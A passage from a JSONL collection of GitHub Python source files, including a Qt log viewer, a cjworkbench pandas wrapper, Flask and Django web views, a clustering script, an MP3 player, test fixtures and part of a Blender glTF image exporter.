\"\"\";\n background-color: \"\"\" + background_color + \"\"\";\n font: 14px;\n }\"\"\")\n\n self.log_filename_lineedit.setStyleSheet(\"\"\"\n QLineEdit{\n color: \"\"\" + font_color + \"\"\";\n font: 14px;\n background-color: \"\"\" + background_color + \"\"\";\n border-style: none;\n }\n QLineEdit::hover{\n border-style: solid;\n border-width: 1px;\n border-color: rgba(196, 196, 196, 1);\n }\"\"\")\n\n self.report_error_pushbutton.setStyleSheet(\"\"\"\n QPushButton{\n color: \"\"\" + font_color + \"\"\";\n background-color: \"\"\" + background_color + \"\"\";\n border-style: none;\n }\n QPushButton::hover{\n border-style: solid;\n border-width: 1px;\n border-color: rgba(196, 196, 196, 1);\n }\n QPushButton:pressed{\n border-style:inset;\n background-color: \"\"\" + pressed_background_color + \"\"\";\n }\n \"\"\")\n\n # self.logs_textedit.setStyleSheet(\"\"\"\n # QTextEdit{\n # background-color: black;\n # }\"\"\")\n\n def __on_exit_accept_clicked(self):\n \"\"\"\n \"\"\"\n self.accept()\n\n def __on_report_error_clicked(self):\n # opens browser with specified url, directs user to Issues section of GitHub repo\n QDesktopServices.openUrl(QUrl(\"https://github.com/dbouget/Raidionics/issues\"))\n\n def __refresh_logs(self):\n self.logs_textedit.clear()\n self.log_filename_lineedit.setText(SoftwareConfigResources.getInstance().get_session_log_filename())\n logfile = open(SoftwareConfigResources.getInstance().get_session_log_filename(), 'r')\n lines = logfile.readlines()\n\n for line in lines:\n text = \"

\" + line + \"\\n

\"\n if \"error\" in line.strip().lower():\n text = \"

\" + line + \"\\n

\"\n elif \"warning\" in line.strip().lower():\n text = \"

\" + line + \"\\n

\"\n elif \"runtime\" in line.strip().lower():\n text = \"

\" + line + \"\\n

\"\n self.logs_textedit.insertHtml(text)\n logfile.close()\n","repo_name":"raidionics/Raidionics","sub_path":"gui/UtilsWidgets/CustomQDialog/LogsViewerDialog.py","file_name":"LogsViewerDialog.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"17484064979","text":"import asyncio\nimport inspect\nfrom pathlib import Path\nfrom typing import Any, Callable, Dict\n\nimport pandas as pd\nimport cjwparquet\nimport cjwpandasmodule\nimport cjwpandasmodule.convert\nfrom cjwmodule.spec.paramschema import ParamSchema\nfrom cjwmodule.spec.types import ModuleSpec\nfrom cjwmodule.types import RenderError\n\nfrom cjwkernel import settings, types\nfrom cjwkernel.pandas import types as ptypes\nfrom cjwkernel.pandas.types import arrow_schema_to_render_columns\nfrom cjwkernel.thrift import ttypes\nfrom cjwkernel.types import (\n arrow_render_error_to_thrift,\n arrow_render_result_to_thrift,\n thrift_i18n_message_to_arrow,\n thrift_json_object_to_pydict,\n)\nfrom cjwkernel.util import tempfile_context\nfrom cjwkernel.validate import load_trusted_arrow_file, read_columns\n\n\ndef _thrift_tab_output_to_pandas(\n tab_output: ttypes.TabOutput, basedir: Path\n) -> ptypes.TabOutput:\n table = load_trusted_arrow_file(basedir / tab_output.table_filename)\n render_columns = arrow_schema_to_render_columns(table.schema)\n return ptypes.TabOutput(\n tab_output.tab_name,\n render_columns,\n cjwpandasmodule.convert.arrow_table_to_pandas_dataframe(table),\n )\n\n\ndef _prepare_params(\n module_spec: ModuleSpec,\n params: Dict[str, Any],\n basedir: Path,\n tab_outputs: Dict[str, ptypes.TabOutput],\n) -> Dict[str, Any]:\n \"\"\"Convert JSON-ish params into params that Pandas-v0 render() expects.\n\n This walks `module_spec.param_schema`.\n\n The returned value is the same as `params`, except:\n\n * File params raise NotImplementedError\n * Tab and Multitab are converted to `ptypes.TabOutput` objects\n \"\"\"\n\n def recurse(schema: ParamSchema, value: Any) -> Any:\n if isinstance(schema, ParamSchema.List):\n return [recurse(schema.inner_schema, v) for v in value]\n elif isinstance(schema, ParamSchema.Map):\n return {k: recurse(schema.value_schema, v) for k, v in value.items()}\n elif isinstance(schema, ParamSchema.Dict):\n return {\n name: recurse(inner_schema, value[name])\n for name, inner_schema in schema.properties.items()\n }\n elif isinstance(schema, ParamSchema.Tab):\n return tab_outputs.get(value) # value==\"\" => None\n elif isinstance(schema, ParamSchema.Multitab):\n return [tab_outputs[v] for v in value]\n elif isinstance(schema, ParamSchema.File):\n raise NotImplementedError\n else:\n return value\n\n return recurse(module_spec.param_schema, params)\n\n\ndef _parquet_to_pandas(path: Path) -> pd.DataFrame:\n if path.stat().st_size == 0:\n return pd.DataFrame()\n else:\n with cjwparquet.open_as_mmapped_arrow(path) as arrow_table:\n return arrow_table.to_pandas(\n date_as_object=False,\n deduplicate_objects=True,\n ignore_metadata=True,\n categories=[\n column_name.encode(\"utf-8\")\n for column_name, column in zip(\n arrow_table.column_names, arrow_table.columns\n )\n if hasattr(column.type, \"dictionary\")\n ],\n ) # TODO ensure dictionaries stay dictionaries\n\n\ndef call_render(\n module_spec: ModuleSpec, render: Callable, request: ttypes.RenderRequest\n) -> ttypes.RenderResult:\n basedir = Path(request.basedir)\n input_path = basedir / request.input_filename\n table = load_trusted_arrow_file(input_path)\n dataframe = cjwpandasmodule.convert.arrow_table_to_pandas_dataframe(table)\n tab_outputs = {\n k: _thrift_tab_output_to_pandas(v, basedir)\n for k, v in request.tab_outputs.items()\n }\n params = _prepare_params(\n module_spec, thrift_json_object_to_pydict(request.params), basedir, tab_outputs\n )\n spec = inspect.getfullargspec(render)\n kwargs = {}\n varkw = bool(spec.varkw) # if True, function accepts **kwargs\n kwonlyargs = spec.kwonlyargs\n if varkw or \"fetch_result\" in kwonlyargs:\n if request.fetch_result is None:\n fetch_result = None\n else:\n fetch_result_path = basedir / request.fetch_result.filename\n errors = [\n # Data comes in as FetchError and we return RenderError.\n RenderError(thrift_i18n_message_to_arrow(e.message))\n for e in request.fetch_result.errors\n ]\n if (\n fetch_result_path.stat().st_size == 0\n or cjwparquet.file_has_parquet_magic_number(fetch_result_path)\n ):\n fetch_result = ptypes.ProcessResult(\n dataframe=_parquet_to_pandas(fetch_result_path),\n errors=errors,\n # infer columns -- the fetch interface doesn't handle formats\n # (TODO nix pandas_v0 fetching altogether by rewriting all modules)\n )\n else:\n # TODO nix pandas Fetch modules. (Do any use files, even?)\n fetch_result = types.FetchResult(path=fetch_result_path, errors=errors)\n kwargs[\"fetch_result\"] = fetch_result\n if varkw or \"settings\" in kwonlyargs:\n kwargs[\"settings\"] = settings\n if varkw or \"tab_name\" in kwonlyargs:\n kwargs[\"tab_name\"] = request.tab_name\n if varkw or \"input_columns\" in kwonlyargs:\n kwargs[\"input_columns\"] = arrow_schema_to_render_columns(table.schema)\n\n input_columns = read_columns(table, full=False)\n raw_result = render(dataframe, params, **kwargs)\n\n # raise ValueError if invalid\n pandas_result = ptypes.ProcessResult.coerce(\n raw_result, try_fallback_columns=input_columns\n )\n pandas_result.truncate_in_place_if_too_big()\n\n arrow_result = pandas_result.to_arrow(basedir / request.output_filename)\n return arrow_render_result_to_thrift(arrow_result)\n\n\ndef call_fetch(fetch: Callable, request: ttypes.FetchRequest) -> ttypes.FetchResult:\n \"\"\"Call `fetch()` and validate the result.\n\n Module code may contain errors. This function and `fetch()` should strive\n to raise developer-friendly errors in the case of bugs -- including\n unexpected input.\n \"\"\"\n # thrift => pandas\n basedir = Path(request.basedir)\n params: Dict[str, Any] = thrift_json_object_to_pydict(request.params)\n output_path = basedir / request.output_filename\n\n spec = inspect.getfullargspec(fetch)\n kwargs = {}\n varkw = bool(spec.varkw) # if True, function accepts **kwargs\n kwonlyargs = spec.kwonlyargs\n\n if varkw or \"secrets\" in kwonlyargs:\n kwargs[\"secrets\"] = thrift_json_object_to_pydict(request.secrets)\n if varkw or \"settings\" in kwonlyargs:\n kwargs[\"settings\"] = settings\n if varkw or \"get_input_dataframe\" in kwonlyargs:\n\n async def get_input_dataframe():\n if request.input_table_parquet_filename is None:\n return None\n else:\n return _parquet_to_pandas(\n basedir / request.input_table_parquet_filename\n )\n\n kwargs[\"get_input_dataframe\"] = get_input_dataframe\n\n if varkw or \"output_path\" in kwonlyargs:\n kwargs[\"output_path\"] = output_path\n\n result = fetch(params, **kwargs)\n if asyncio.iscoroutine(result):\n result = asyncio.run(result)\n\n if isinstance(result, tuple) and len(result) == 2 and isinstance(result[0], Path):\n errors = ptypes.coerce_RenderError_list(result[1])\n elif isinstance(result, Path):\n errors = []\n elif isinstance(result, list):\n errors = ptypes.coerce_RenderError_list(result)\n else:\n pandas_result = ptypes.ProcessResult.coerce(result)\n pandas_result.truncate_in_place_if_too_big()\n # ProcessResult => FetchResult isn't a thing; but we can hack it using\n # ProcessResult => RenderResult => FetchResult.\n with tempfile_context(suffix=\".arrow\") as arrow_path:\n if pandas_result.columns:\n hacky_result = pandas_result.to_arrow(arrow_path)\n table = load_trusted_arrow_file(arrow_path)\n cjwparquet.write(output_path, table)\n errors = hacky_result.errors\n else:\n output_path.write_bytes(b\"\")\n errors = pandas_result.errors\n\n return ttypes.FetchResult(\n filename=request.output_filename,\n errors=[arrow_render_error_to_thrift(e) for e in errors],\n )\n","repo_name":"CJWorkbench/cjworkbench","sub_path":"cjwkernel/pandas/framework/pandas_v0.py","file_name":"pandas_v0.py","file_ext":"py","file_size_in_byte":8511,"program_lang":"python","lang":"en","doc_type":"code","stars":297,"dataset":"github-code","pt":"48"} +{"seq_id":"42826848248","text":"# -*- coding: utf-8 -*-\nfrom flask import redirect,render_template,request,url_for,abort,session,abort,Blueprint,flash,current_app,g\nfrom webapp.models import *\nfrom datetime import datetime , timedelta\nfrom sqlalchemy import or_\nimport re\nfrom webapp.forms import ScheduleForm\n\nbp=Blueprint('schedule',__name__)\n\n\n@bp.get('/search')\n@bp.get('/list')\ndef list():\n title='Horarios'\n\n\n query=(db.session\n .query(Appointment,Doctor,Speciality)\n .filter(\n Appointment.doctor_id == Doctor.id,\n Speciality.id == Doctor.speciality_id,\n Appointment.when >= datetime.today(),\n )\n .group_by(Appointment)\n .order_by(Speciality.name)\n )\n q=request.args.get('q','',str).strip()\n if q and re.match('^[\\w\\s,:.-]{1,30}$',q):\n paginated=(query.filter(\n or_(\n Appointment.when.like(f'%{q}%'),\n Speciality.name.ilike(f'%{q}%'),\n ))\n .group_by(Appointment)\n .order_by(Speciality.name)\n .paginate(per_page=20)\n )\n\n else:\n paginated=(query\n .group_by(Appointment)\n .order_by(Speciality.name)\n .paginate(per_page=20)\n )\n\n\n rows = [\n (\n a.id,\n s.name,\n d.lastname,\n a.when,\n a.when+timedelta(hours=a.duration),\n )\n for a,d,s in paginated.items\n ]\n headers = ('Especialidad','Medico','Desde','Hasta' )\n return render_template('list.html',rows=rows,paginated=paginated,headers=headers,title=title)\n\n\n@bp.get('/detail/')\ndef detail(_id):\n title=\"Detalle\"\n query=(db.session\n .query(Appointment,Doctor,Speciality)\n .filter(\n Appointment.doctor_id == Doctor.id,\n Speciality.id == Doctor.speciality_id,\n Appointment.when >= datetime.today(),\n Appointment.id == _id,\n )\n .group_by(Appointment)\n .order_by(Speciality.name)\n .first()\n )\n if not query:\n return abort(501)\n\n form=ScheduleForm(data={\n 'speciality':query.Speciality.name,\n 'doctor':query.Doctor.fullname,\n 'from_':query.Appointment.when,\n 'to': query.Appointment.when+timedelta(hours=query.Appointment.duration),\n })\n\n\n return render_template('form.html',title=title,form=form)","repo_name":"admred/sisalud","sub_path":"webapp/views/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5911867900","text":"import pandas as pd\r\nimport matplotlib.pylab as plt\r\n\r\ndata1 = pd.read_excel(\" \") #give your file pat\r\ndata1.describe()\r\ndata1.info()\r\n\r\ndata = data1.drop([\" \"], axis=1) # if you wish to drop any column we can enter the column name in the blank space\r\n\r\n# Normalization function \r\ndef norm_func(i):\r\n x = (i-i.min())\t/ (i.max()-i.min())\r\n return (x)\r\n\r\n\r\ndf_norm = norm_func(data.iloc[:, 1:])\r\ndf_norm.describe()\r\n\r\n# dendrogram \r\nfrom scipy.cluster.hierarchy import linkage\r\nimport scipy.cluster.hierarchy as sch \r\n\r\nz = linkage(df_norm, method = \"complete\", metric = \"euclidean\") # here i have chossen euclidean but we can choose other distance methods also\r\n\r\n# Dendrogram\r\nplt.figure(figsize=(15, 8));plt.title('Hierarchical Clustering Dendrogram');plt.xlabel('Index');plt.ylabel('Distance')\r\nsch.dendrogram(z, \r\n leaf_rotation = 0, # rotates the x axis labels\r\n leaf_font_size = 10 # font size for the x axis labels\r\n)\r\nplt.show()\r\n\r\n\r\n# AgglomerativeClustering \r\nfrom sklearn.cluster import AgglomerativeClustering\r\n\r\nh_complete = AgglomerativeClustering(n_clusters = 3, linkage = 'complete', affinity = \"euclidean\").fit(df_norm) \r\nh_complete.labels_\r\n\r\ncluster_labels = pd.Series(h_complete.labels_)\r\n\r\ndata['clust'] = cluster_labels # creating a new column and assigning it to new column \r\n\r\ndata1 = data.iloc[:, [7,0,1,2,3,4,5,6]]\r\ndata1.head()\r\n\r\n# Aggregate mean \r\ndata1.iloc[:, 2:].groupby(data1.clust).mean()\r\n\r\n# saving the output into csv file \r\ndata1.to_csv(\"data.csv\", encoding = \"utf-8\")\r\n\r\nimport os\r\nos.getcwd()\r\n","repo_name":"ashish-reddy-20-08/data-mining-hierarchical-clustering-","sub_path":"Hclust_clustering.py","file_name":"Hclust_clustering.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41840258411","text":"from django.conf.urls import patterns, include, url\nfrom django.views.generic.simple import direct_to_template\nfrom django.contrib import admin, comments\nfrom bookmarks.feeds import RecentBookmarks\nfrom django.contrib.comments.feeds import LatestCommentFeed\nimport os\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nsite_media = os.path.dirname(__file__)\nsite_media = os.path.join(os.path.dirname(site_media), 'bookmarks','site_media')\nfeeds = {\n\t'recent': RecentBookmarks,\n}\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'django_bookmarks.views.home', name='home'),\n # url(r'^django_bookmarks/', include('django_bookmarks.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^feeds/latest/$', RecentBookmarks()),\n # url(r'^feeds/(?P.*)/$', 'django.contrib.syndication.views.feed',{'feed_dict': feeds}),\n url(r'^admin/', include(admin.site.urls)),\n\turl(r'^$','bookmarks.views.main_page'),\n\turl(r'^user/(\\w+)/$','bookmarks.views.user_page'),\n\turl(r'^login/$','django.contrib.auth.views.login'),\n\turl(r'^logout/$','bookmarks.views.logout_page'),\n\turl(r'^site_media/(?P.*)$','django.views.static.serve',{'document_root':site_media}),\n\turl(r'^register/$','bookmarks.views.register_page'),\n\turl(r'^register/success/$', direct_to_template,{ 'template': 'registration/register_success.html' }),\n\turl(r'^save/$','bookmarks.views.bookmark_save_page'),\n\turl(r'^tag/([^\\s]+)/$', 'bookmarks.views.tag_page'),\n\turl(r'^tag/$', 'bookmarks.views.tag_cloud_page'),\n\turl(r'^search/$', 'bookmarks.views.search_page'),\n\turl(r'^ajax/tag/autocomplete/$', 'bookmarks.views.ajax_tag_autocomplete'),\n\turl(r'^vote/$', 'bookmarks.views.bookmark_vote_page'),\n\turl(r'^popular/', 'bookmarks.views.popular_page'),\n\turl(r'^comments/', include('django.contrib.comments.urls')),\n\turl(r'^bookmark/(\\d+)/$', 'bookmarks.views.bookmark_page'),\n\n)\n","repo_name":"meditative/bookmark","sub_path":"django_bookmarks/django_bookmarks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1852857104","text":"from flask import Flask, request, jsonify\nimport traceback\nimport adc2019\n\napp = Flask(__name__)\napp.config['JSON_AS_ASCII'] = False\n\n \n\n@app.route('/api/check_file', methods=['POST'])\ndef check_file():\n \"\"\"\n 1. a client posts Q-file and/or A-file\n 2. server checks file(s)\n 3. return check results.\n \"\"\"\n #print('request=', request)\n #print('request.data=', request.data)\n #print('request.form=', request.form)\n #print('request.files=', request.files)\n #print('request.json=', request.json)\n qdata = None\n adata = None\n Q = None\n A = None\n if request.json:\n qdata = request.json.get('Q')\n adata = request.json.get('A')\n if 'Qfile' in request.files:\n qdata = request.files['Qfile'].read().decode('utf-8')\n if 'Afile' in request.files:\n adata = request.files['Afile'].read().decode('utf-8')\n\n #print('qdata\\n', qdata)\n #print('adata\\n', adata)\n try:\n if qdata:\n Q = adc2019.read_Q(qdata)\n if adata:\n A = adc2019.read_A(adata)\n if Q is None and A is None:\n return jsonify({'check_file': 'No data'})\n if Q is None:\n return jsonify({'check_file': 'A-ok'})\n if A is None:\n return jsonify({'check_file': 'Q-ok'})\n\n info = adc2019.check_data(Q, A)\n #print(info)\n info2 = info.copy()\n for k in ['count', 'corner', 'line_length', 'line_corner', 'ban_data_F']:\n info2[k] = str(info2[k])\n info2['check_file'] = 'ok'\n return jsonify(info2)\n except Exception as e:\n #traceback.print_exc()\n errinfo = ['ADC2019 rule violation'] + [str(i) for i in e.args]\n info = {'error': errinfo, 'stack_trace': traceback.format_exc()}\n return jsonify(info)\n\n return jsonify({'check_file': 'ok',\n 'value': 1234567,\n 'msg': '生麦生米生卵'})\n \n\n@app.route('/api/test_post', methods=['POST'])\ndef test_post():\n pass\n\n\n@app.route('/api/test_get', methods=['GET'])\ndef test_get():\n \"\"\"\n test GET method\n \"\"\"\n #print('request=', request)\n return jsonify({'test': 'ok',\n 'value': 9876,\n 'msg': 'こんにちは世界'})\n\n\nif __name__ == '__main__':\n # This is used when running locally only. When deploying to Google App\n # Engine, a webserver process such as Gunicorn will serve the app. This\n # can be configured by adding an `entrypoint` to app.yaml.\n app.run(host='127.0.0.1', port=4280, debug=True)\n","repo_name":"tawada/adc2019","sub_path":"server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"37971893217","text":"from pygame import mixer\nfrom mutagen.mp3 import MP3\nfrom os import walk\nimport pyinputplus as userin\nimport random\nimport threading\nimport time\n\nmixlist = []\nfor (path, dirname, titles) in walk(\"//home//gmo//Music//\"): #dir of music\n mixlist = titles\nstop = False\nvol = 0.05\nmixer.init()\ncurrentSong = \"\"\nthreadPause= False\n\ndef playCorretly(myfre,music):\n mixer.quit() # you need to quite the mixer so the frequency can be properly set\n mixer.init(frequency=myfre) #you need to set the frequence so that music playes correctly\n mixer.music.set_volume(vol)\n mixer.music.load(\"//home//gmo//Music//\"+music) #dir of music\n mixer.music.play()\n \ndef get_RandomSong():\n index = 0\n \n if( not currentSong == \"\"):\n index = mixlist.index(currentSong)+1\n \n if index == len(mixlist):\n random.shuffle(mixlist)\n index = 0\n music = mixlist[index]\n mp3 = MP3(\"//home//gmo//Music//\"+music) #dir of music\n rate = mp3.info.sample_rate\n return rate,music\n\n\ndef playerRuning():\n global mixlist\n global vol\n global stop\n global currentSong\n global threadPause\n global index\n while(not stop):\n if(not threadPause):\n if(not mixer.music.get_busy()):\n (rate,music) = get_RandomSong()\n currentSong = music\n playCorretly(rate,music)\n \n\nrandom.shuffle(mixlist)\n(rate,music) = get_RandomSong()\nplayCorretly(rate,music)\ncurrentSong = music\n# threads are nessary so that the track can change without haveing to wait for user input\nthread1 = threading.Thread(target=playerRuning)\nthread1.start()\n# without the treads we can't have two loops runing at the same time\n\n\nwhile not stop:\n print(\"\\n currently playing \"+currentSong)\n answer = input('\\n p = pause, up = unpause, m = more instuciton\\n ')\n if answer == 'p':\n mixer.music.pause()\n elif answer == 'up':\n mixer.music.unpause()\n elif answer == 's':\n stop = True\n mixer.music.stop()\n elif answer == '+':\n vol += 0.01\n mixer.music.set_volume(vol)\n elif answer == '-':\n if vol- 0.01 > 0:\n vol -= 0.01\n mixer.music.set_volume(vol)\n elif answer == 'r':\n threadPause = True #pause proccess in thread\n time.sleep(0.1)\n (rate,music) = get_RandomSong()\n currentSong = music\n playCorretly(rate,music)\n threadPause = False #unpauses thread\n elif answer == 'm':\n print(\"s = stop\")\n print(\"+ = vol up\")\n print(\"- = vol down\")\n print(\"r = get next rand song\")\n \n \n\n \n","repo_name":"gmo114/pythonMp3","sub_path":"smolMp3.py","file_name":"smolMp3.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18457815456","text":"from datetime import datetime\n\nimport factory\n\nfrom app.models.item import Item\nfrom app.models.user import User\n\n\nclass UserFactory(factory.Factory):\n class Meta:\n model = User\n\n id = factory.Sequence(lambda n: n)\n full_name = factory.Faker(\"name\")\n email = factory.Faker(\"email\")\n is_active = True\n is_superuser = False\n\n\nclass ItemFactory(factory.Factory):\n class Meta:\n model = Item\n\n id = factory.Sequence(lambda n: n)\n title = \"title\"\n description = datetime.now()\n owner = factory.SubFactory(UserFactory)\n","repo_name":"tnhoang/fastapi-boilerplate","sub_path":"app/tests/factory/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18193181407","text":"from types import SimpleNamespace\n\nimport pytest\nfrom django.conf import settings\n\n\nclass FS(SimpleNamespace):\n TESTS_DIR = settings.BASE_DIR / \"tests\"\n FIXTURES_DIR = TESTS_DIR / \"fixtures\"\n XML_APPRENTI = (\n FIXTURES_DIR\n / \"appariement_qualite_ij_apprenti_champ_2018_2019_ij_sia_apprenti_01122018_31122018.xml\"\n )\n XML_SALARIE = (\n FIXTURES_DIR\n / \"appariement_qualite_ij_apprenti_champ_restreint_2018_2019_ij_sismmo_salarie_01122018_31122018.xml\"\n )\n XML_NO_PORT = FIXTURES_DIR / \"no_port.xml\"\n XML_WRONG_COL = FIXTURES_DIR / \"wrong_col.xml\"\n XML_WRONG_NETLOC = FIXTURES_DIR / \"wrong_netloc.xml\"\n\n\n@pytest.fixture\ndef fs():\n yield FS()\n\n\n@pytest.fixture\ndef xml_apprenti(fs):\n with fs.XML_APPRENTI.open() as f:\n yield f\n\n\n@pytest.fixture\ndef xml_salarie(fs):\n with fs.XML_SALARIE.open() as f:\n yield f\n","repo_name":"ksamuel/matching","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16510580947","text":"import bpy\nimport os\nfrom typing import Optional, Tuple\nimport numpy as np\nimport tempfile\nimport enum\n\n\nclass Channel(enum.IntEnum):\n R = 0\n G = 1\n B = 2\n A = 3\n\n# These describe how an ExportImage's channels should be filled.\n\nclass FillImage:\n \"\"\"Fills a channel with the channel src_chan from a Blender image.\"\"\"\n def __init__(self, image: bpy.types.Image, src_chan: Channel):\n self.image = image\n self.src_chan = src_chan\n\nclass FillWhite:\n \"\"\"Fills a channel with all ones (1.0).\"\"\"\n pass\n\nclass FillWith:\n \"\"\"Fills a channel with all same values\"\"\"\n def __init__(self, value):\n self.value = value\n\nclass StoreData:\n def __init__(self, data):\n \"\"\"Store numeric data (not an image channel\"\"\"\n self.data = data\n\nclass StoreImage:\n \"\"\"\n Store a channel with the channel src_chan from a Blender image.\n This channel will be used for numpy calculation (no direct channel mapping)\n \"\"\"\n def __init__(self, image: bpy.types.Image):\n self.image = image\n\nclass ExportImage:\n \"\"\"Custom image class.\n\n An image is represented by giving a description of how to fill its red,\n green, blue, and alpha channels. For example:\n\n self.fills = {\n Channel.R: FillImage(image=bpy.data.images['Im1'], src_chan=Channel.B),\n Channel.G: FillWhite(),\n }\n\n This says that the ExportImage's R channel should be filled with the B\n channel of the Blender image 'Im1', and the ExportImage's G channel\n should be filled with all 1.0s. Undefined channels mean we don't care\n what values that channel has.\n\n This is flexible enough to handle the case where eg. the user used the R\n channel of one image as the metallic value and the G channel of another\n image as the roughness, and we need to synthesize an ExportImage that\n packs those into the B and G channels for glTF.\n\n Storing this description (instead of raw pixels) lets us make more\n intelligent decisions about how to encode the image.\n \"\"\"\n\n def __init__(self, original=None):\n self.fills = {}\n self.stored = {}\n\n self.original = original # In case of keeping original texture images\n self.numpy_calc = None\n\n def set_calc(self, numpy_calc):\n self.numpy_calc = numpy_calc # In case of numpy calculation (no direct channel mapping)\n\n @staticmethod\n def from_blender_image(image: bpy.types.Image):\n export_image = ExportImage()\n for chan in range(image.channels):\n export_image.fill_image(image, dst_chan=chan, src_chan=chan)\n return export_image\n\n @staticmethod\n def from_original(image: bpy.types.Image):\n return ExportImage(image)\n\n def fill_image(self, image: bpy.types.Image, dst_chan: Channel, src_chan: Channel):\n self.fills[dst_chan] = FillImage(image, src_chan)\n\n def store_data(self, identifier, data, type='Image'):\n if type == \"Image\": # This is an image\n self.stored[identifier] = StoreImage(data)\n else: # This is a numeric value\n self.stored[identifier] = StoreData(data)\n\n def fill_white(self, dst_chan: Channel):\n self.fills[dst_chan] = FillWhite()\n\n def fill_with(self, dst_chan, value):\n self.fills[dst_chan] = FillWith(value)\n\n def is_filled(self, chan: Channel) -> bool:\n return chan in self.fills\n\n def empty(self) -> bool:\n if self.original is None:\n return not (self.fills or self.stored)\n else:\n return False\n\n def blender_image(self) -> Optional[bpy.types.Image]:\n \"\"\"If there's an existing Blender image we can use,\n returns it. Otherwise (if channels need packing),\n returns None.\n \"\"\"\n if self.__on_happy_path():\n for fill in self.fills.values():\n return fill.image\n return None\n\n def __on_happy_path(self) -> bool:\n # All src_chans match their dst_chan and come from the same image\n return (\n all(isinstance(fill, FillImage) for fill in self.fills.values()) and\n all(dst_chan == fill.src_chan for dst_chan, fill in self.fills.items()) and\n len(set(fill.image.name for fill in self.fills.values())) == 1\n )\n\n def encode(self, mime_type: Optional[str], export_settings) -> Tuple[bytes, bool]:\n self.file_format = {\n \"image/jpeg\": \"JPEG\",\n \"image/png\": \"PNG\",\n \"image/webp\": \"WEBP\"\n }.get(mime_type, \"PNG\")\n\n # Happy path = we can just use an existing Blender image\n if self.__on_happy_path():\n return self.__encode_happy(export_settings), None\n\n # Unhappy path = we need to create the image self.fills describes or self.stores describes\n if self.numpy_calc is None:\n return self.__encode_unhappy(export_settings), None\n else:\n pixels, width, height, factor = self.numpy_calc(self.stored)\n return self.__encode_from_numpy_array(pixels, (width, height), export_settings), factor\n\n def __encode_happy(self, export_settings) -> bytes:\n return self.__encode_from_image(self.blender_image(), export_settings)\n\n def __encode_unhappy(self, export_settings) -> bytes:\n # We need to assemble the image out of channels.\n # Do it with numpy and image.pixels.\n\n # Find all Blender images used\n images = []\n for fill in self.fills.values():\n if isinstance(fill, FillImage):\n if fill.image not in images:\n images.append(fill.image)\n\n if not images:\n # No ImageFills; use a 1x1 white pixel\n pixels = np.array([1.0, 1.0, 1.0, 1.0], np.float32)\n return self.__encode_from_numpy_array(pixels, (1, 1), export_settings)\n\n width = max(image.size[0] for image in images)\n height = max(image.size[1] for image in images)\n\n out_buf = np.ones(width * height * 4, np.float32)\n tmp_buf = np.empty(width * height * 4, np.float32)\n\n for image in images:\n if image.size[0] == width and image.size[1] == height:\n image.pixels.foreach_get(tmp_buf)\n else:\n # Image is the wrong size; make a temp copy and scale it.\n with TmpImageGuard() as guard:\n make_temp_image_copy(guard, src_image=image)\n tmp_image = guard.image\n tmp_image.scale(width, height)\n tmp_image.pixels.foreach_get(tmp_buf)\n\n # Copy any channels for this image to the output\n for dst_chan, fill in self.fills.items():\n if isinstance(fill, FillImage) and fill.image == image:\n out_buf[int(dst_chan)::4] = tmp_buf[int(fill.src_chan)::4]\n elif isinstance(fill, FillWith):\n out_buf[int(dst_chan)::4] = fill.value\n\n tmp_buf = None # GC this\n\n return self.__encode_from_numpy_array(out_buf, (width, height), export_settings)\n\n def __encode_from_numpy_array(self, pixels: np.ndarray, dim: Tuple[int, int], export_settings) -> bytes:\n with TmpImageGuard() as guard:\n guard.image = bpy.data.images.new(\n \"##gltf-export:tmp-image##\",\n width=dim[0],\n height=dim[1],\n alpha=Channel.A in self.fills,\n )\n tmp_image = guard.image\n\n tmp_image.pixels.foreach_set(pixels)\n\n return _encode_temp_image(tmp_image, self.file_format, export_settings)\n\n def __encode_from_image(self, image: bpy.types.Image, export_settings) -> bytes:\n # See if there is an existing file we can use.\n data = None\n # Sequence image can't be exported, but it avoid to crash to check that default image exists\n # Else, it can crash when trying to access a non existing image\n if image.source in ['FILE', 'SEQUENCE'] and not image.is_dirty:\n if image.packed_file is not None:\n data = image.packed_file.data\n else:\n src_path = bpy.path.abspath(image.filepath_raw)\n if os.path.isfile(src_path):\n with open(src_path, 'rb') as f:\n data = f.read()\n # Check magic number is right\n if data:\n if self.file_format == 'PNG':\n if data.startswith(b'\\x89PNG'):\n return data\n elif self.file_format == 'JPEG':\n if data.startswith(b'\\xff\\xd8\\xff'):\n return data\n elif self.file_format == 'WEBP':\n if data[8:12] == b'WEBP':\n return data\n\n # Copy to a temp image and save.\n with TmpImageGuard() as guard:\n make_temp_image_copy(guard, src_image=image)\n tmp_image = guard.image\n return _encode_temp_image(tmp_image, self.file_format, export_settings)\n\n\ndef _encode_temp_image(tmp_image: bpy.types.Image, file_format: str, export_settings) -> bytes:\n with tempfile.TemporaryDirectory() as tmpdirname:\n tmpfilename = tmpdirname + '/img'\n tmp_image.filepath_raw = tmpfilename\n\n tmp_image.file_format = file_format\n\n # if image is jpeg, use quality export settings\n if file_format in [\"JPEG\", \"WEBP\"]:\n 